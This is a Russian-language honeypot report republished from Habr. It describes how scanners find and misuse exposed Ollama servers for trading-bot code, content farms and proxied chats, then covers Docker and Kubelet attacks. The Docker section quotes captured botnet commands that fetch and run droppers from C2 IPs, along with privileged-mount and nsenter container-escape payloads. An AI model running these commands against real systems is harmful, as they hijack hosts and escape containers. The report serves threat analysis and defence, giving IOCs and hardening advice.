- BrainTools - https://www.braintools.ru -

Охота на AI-инфраструктуру, часть 2: что делают с чужим Ollama — от трейдинг-ботов до контент-ферм

В первой части [1] я рассказал, как ханипот поймал сканер MCP-серверов — новый вектор разведки, нацеленный на AI-инфраструктуру. Сегодня — про другую сторону: что происходит, когда атакующий находит открытый Ollama.

Статья документирует реальные сессии злоупотребления открытыми LLM-инстансами: кто подключается, какие промпты шлёт, какие модели запрашивает. Данные собраны с трёх ханипотов (DE, US, RU) за март 2026.

Зачем это нужно

Ollama — популярный способ запускать LLM локально. По умолчанию он слушает на 127.0.0.1:11434, но в Docker-окружении биндится на 0.0.0.0. Множество гайдов рекомендуют выставить OLLAMA_HOST=0.0.0.0 для удалённого доступа — и без аутентификации (которой в Ollama просто нет) это делает инстанс публичным. Shodan находит сотни тысяч таких серверов. Но что конкретно делают те, кто их находит?

Я добавил Ollama-ханипот в свою сеть из 9 контейнеров на трёх серверах (Германия, США, Россия). Ханипот эмулирует Ollama API: отвечает на /api/tags, /api/version, /api/generate, /v1/chat/completions, возвращает шаблонные ответы и логирует все входящие запросы с телом. Реальный инференс не выполняется — но промпты приходят в теле HTTP-запроса и записываются до отправки ответа, поэтому мы видим полный контекст: какие модели запрашивают, какие задачи ставят, и даже историю диалога, которую клиент пересылает в поле messages.

Фаза 1: разведка

Первое, что делает каждый сканер — проверяет, живой ли инстанс и какие модели доступны.

Проверка доступности

GET /api/tags          — список моделей (Ollama native API)
GET /v1/models         — список моделей (OpenAI-совместимый API)
GET /api/version       — версия Ollama
GET /                  — просто 200 OK?

На US-ноде за неделю: 244 запроса /v1/models, 58 запросов /api/tags, 27 запросов /api/version. Кто-то проверяет одну ноду раз в 20 минут.

Health-check бот

Отдельная категория — автоматический мониторинг. На US-ноде один IP шлёт POST /v1/chat/completions с телом:

{"messages": [{"role": "user", "content": "health-check"}]}

244 таких запроса подряд. Это не разовая проверка — это систематический мониторинг доступности. По всей видимости, кто-то добавил наш ханипот в список открытых Ollama-инстансов и периодически проверяет, отвечает ли он, перед отправкой реальных задач.

Перебор моделей

Практически все, кто идёт дальше разведки, перебирают несколько моделей:

model=llama3.1:8b     prompt=Hello
model=qwen2.5:7b      prompt=Hello
model=codellama:13b    prompt=Hello
model=mistral:7b       prompt=hello
model=deepseek:33b     prompt=test
model=llama3.2         prompt=hello

Паттерн: отправить Hello или hi в каждую модель из списка. Если хоть одна ответит — инстанс пригоден для эксплуатации.

Интересен набор моделей: llama3.1, qwen2.5, codellama, mistral, deepseek — это топ-5 self-hosted моделей по популярности. Сканеры знают рынок.

Фаза 2: эксплуатация

Те, кто получил ответ на Hello, переходят к использованию. Мы зафиксировали три типа.

Тип A: трейдинг-бот ищет бесплатный бэкенд

На US-ноде после серии health-check запросов приходит реальная задача:

{
  "messages": [{
    "role": "user",
    "content": "Write Python 3 code for:ndef backtest_strategy(prices: list[float]) -> float:nUse a 10-period fast SMA and 50-period slow SMA crossover on prices, long when fast > slow, flat/short when fast < slow, and return total PnL as a float. Output only that function, no extra text."
  }]
}

Один и тот же промпт отправлен 12 раз — через /api/chat, /v1/chat/completions, /v1/completions — на три разные модели (llama3.1:8b, qwen2.5:7b, codellama:13b).

Это автоматизированный трейдинг-пайплайн, который:

  1. Сканирует интернет в поисках открытых Ollama

  2. Проверяет доступность (health-check)

  3. Отправляет задачу генерации торговой стратегии

  4. Пробует все доступные модели и API-эндпоинты

  5. Выбирает лучший результат

Бесплатный GPU для алготрейдинга за чужой счёт.

Тип B: китайский студент учит марксизм

Нетипичная сессия на US-ноде. Кто-то через /v1/v1/chat/completions (двойной /v1/ — баг в клиенте) отправляет запрос, в поле messages которого видна предыдущая реплика ассистента:

Я — GLM (General Language Model), большая языковая модель, разработанная Z.ai.
Я обучена на масштабных текстовых данных...

Это Zhipu AI GLM — китайская LLM. Пользователь, видимо, настроил прокси через наш ханипот как бэкенд для GLM-совместимого клиента.

Затем приходит реальный промпт:

做一个学习毛泽东的矛盾论 有30张卡片的anki牌组

«Сделай набор из 30 Anki-карточек для изучения “Противоречий” Мао Цзэдуна»

Откуда мы знаем, что был диалог? Клиент передаёт историю в поле messages — мы видим и system prompt, и предыдущие реплики ассистента (включая готовый набор из 30 Anki-карточек в формате CSV), и новый вопрос пользователя. Наш ханипот не генерировал эти карточки — они пришли от предыдущего LLM-бэкенда, к которому клиент был подключён ранее. Это реальный студент, который (вероятно через агрегатор) подключился к открытому Ollama как бэкенду для своего LLM-приложения.

Финальный вопрос в сессии: 你是什么模型 — «Ты какая модель?». Студент заметил, что ответы идут не от привычного GLM.

Тип C: контент-ферма на RU-ноде

На российской ноде — массовая генерация SEO-контента. Характерный паттерн:

Answer the following question thoroughly and in detail.

Question: How have neural networks and deep learning transformed AI?

RULES:
- Write a complete, detailed answer.
- Do NOT repeat the question.
- Do NOT add a preamble.
- Your LAST line must be exactly: ##ANSWER_DONE##

Answer:

Маркер ##ANSWER_DONE## — стоп-слово для парсера, который автоматически извлекает ответы.

Один и тот же шаблон с разными вопросами отправляется на три модели одновременно: llama3.1:8b, qwen2.5:7b, codellama:13b. Вероятно, система сравнивает ответы и выбирает лучший.

Темы — типичный SEO-контент про AI: «роль машинного обучения», «эволюция AI в 1970-80е», «нейросети и глубокое обучение». Промышленная генерация статей за чужой GPU.

Ещё интересный паттерн: вопрос "Reply with just 'OK'" был разложен ботом на 4 подвопроса («что это значит?», «зачем кто-то просит ответить OK?», «есть ли альтернативы?», «в каком контексте это уместно?»), и каждый подвопрос отправлен на все 3 модели. Это chain-of-thought разбивка — признак AI-агента, а не живого пользователя.

Параллельные атаки: Docker и Kubelet

Атакующие сканируют не только Ollama — на тех же IP-адресах наших серверов мы видим параллельные атаки на всю AI/ML-инфраструктуру. Docker и Kubelet ханипоты дополняют картину.

Docker: побег из контейнера через nsenter

Docker-ханипот (порт 2375, без TLS) ловит два ботнета:

Ботнет docker.selfrep (C2: 31.57.216.121) — exec в существующие контейнеры:

{
  "Cmd": ["sh", "-c",
    "(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}

Бьёт все три ноды одинаково. Вариант для SSH-версии (apache.selfrep) зафиксирован на порту 22.

Ботнет с container escape (C2: 45.194.92.39) — серьёзнее. Создаёт привилегированный контейнер с монтированием корня хоста:

{
  "Image": "alpine",
  "Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
  "HostConfig": {
    "Binds": ["/:/host"],
    "Privileged": true
  }
}

Base64 декодируется в:

wget http://45.194.92.39/move; curl -O http://45.194.92.39/move;
chmod 777 move; sh move; rm -rf move; rm -rf move.*

А если привилегированный контейнер не получается, второй метод — nsenter escape:

{
  "Cmd": ["nsenter", "--target", "1",
    "--mount", "--uts", "--ipc", "--net", "--pid",
    "--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}

nsenter --target 1 — вход в namespace PID 1 (init-процесс хоста). Это полный побег из контейнера.

Kubelet: разведка Kubernetes + поиск ML-пайплайнов

Kubelet-ханипот (порт 10250) ловит:

GET /api/v1/pods
GET /api/v1/nodes
GET /api/v1/services
GET /api/v1/endpoints
GET /healthz
POST /update_weights_from_tensor   ← ML-специфичный эндпоинт

/update_weights_from_tensor — это не стандартный Kubernetes API. Возможно, кто-то ищет кастомные ML-пайплайны, но это может быть и результатом общего фаззинга. Сам факт появления ML-специфичных эндпоинтов в сканерах — показателен.

IOC

Тип

Значение

Контекст

IP

31[.]57[.]216[.]121

C2 ботнета docker.selfrep / apache.selfrep

IP

45[.]194[.]92[.]39

C2, container escape через nsenter + privileged mount

URL

hxxp://45[.]194[.]92[.]39/move

Payload dropper

URL

hxxps://31[.]57[.]216[.]121/sh

Dropper shell-script

Паттерн

##ANSWER_DONE##

Маркер окончания в промптах контент-фермы

Паттерн

health-check

Health-check бот для мониторинга открытых LLM

User-Agent

gitmc-org-mcp-scanner/1.0.0

MCP-сканер (из части 1 [1])

Эндпоинт

POST /update_weights_from_tensor

ML-специфичный эндпоинт через Kubelet

MITRE ATT&CK

Техника

Где

T1595.002 Active Scanning: Vulnerability Scanning

Сканирование Ollama, Docker, Kubelet

T1496.001 Compute Hijacking

Использование чужого GPU для инференса

T1610 Deploy Container

Docker: создание alpine-контейнера

T1611 Escape to Host

nsenter –target 1, Privileged + Binds:[“/:/host”]

T1613 Container and Resource Discovery

/containers/json, /api/v1/pods

T1059.004 Command and Scripting Interpreter: Unix Shell

Base64-encoded payload в Cmd

Выводы

  1. Открытый Ollama = бесплатный GPU. Сканеры не просто проверяют доступность — они интегрируют найденные инстансы в автоматизированные пайплайны (трейдинг, SEO, прокси для LLM-клиентов).

  2. Мониторинг перед использованием. Систематические health-check запросы указывают на автоматизированный мониторинг — вероятно, аналогичные проверки идут ко множеству открытых инстансов.

  3. Spray по моделям. Атакующие пробуют 4-5 популярных моделей одновременно: llama3.1, qwen2.5, codellama, mistral, deepseek. Если хоть одна загружена — сервер пригоден.

  4. Контент-фермы масштабируются через чужие GPU. Шаблонные промпты с ##ANSWER_DONE##, параллельная генерация на 3 моделях, автоматический выбор лучшего ответа — индустриальный подход.

  5. Container escape — не теория. В реальных атаках наблюдаем два метода побега: privileged mount (/:/host) и nsenter в PID 1 хоста. Оба с base64-обфускацией.

Как защититься

Ollama:

  • Не выставлять в интернет без аутентификации: OLLAMA_HOST=127.0.0.1

  • Если нужен удалённый доступ: reverse proxy + Basic Auth / OAuth

  • Мониторить /api/generate и /v1/chat/completions на аномальный объём

Docker:

  • Порт 2375 без TLS = game over. Только 2376 + клиентские сертификаты

  • --privileged и Binds:["/:/host"] — блокировать через AppArmor/Seccomp или OPA/Gatekeeper

Kubelet:

  • Порт 10250 не должен быть доступен извне

  • --anonymous-auth=false, --authorization-mode=Webhook


Данные получены с мультисервисного ханипота (9 контейнеров, 29 портов, 3 сервера). Первая часть серии: Охота на AI-инфраструктуру: ханипот поймал сканер MCP-серверов [1].

Автор: fox52

Источник [2]


Сайт-источник BrainTools: https://www.braintools.ru

Путь до страницы источника: https://www.braintools.ru/article/27820

URLs in this post:

[1] первой части: https://habr.com/ru/articles/1008760/

[2] Источник: https://habr.com/ru/articles/1015646/?utm_source=habrahabr&utm_medium=rss&utm_campaign=1015646

www.BrainTools.ru

Rambler's Top100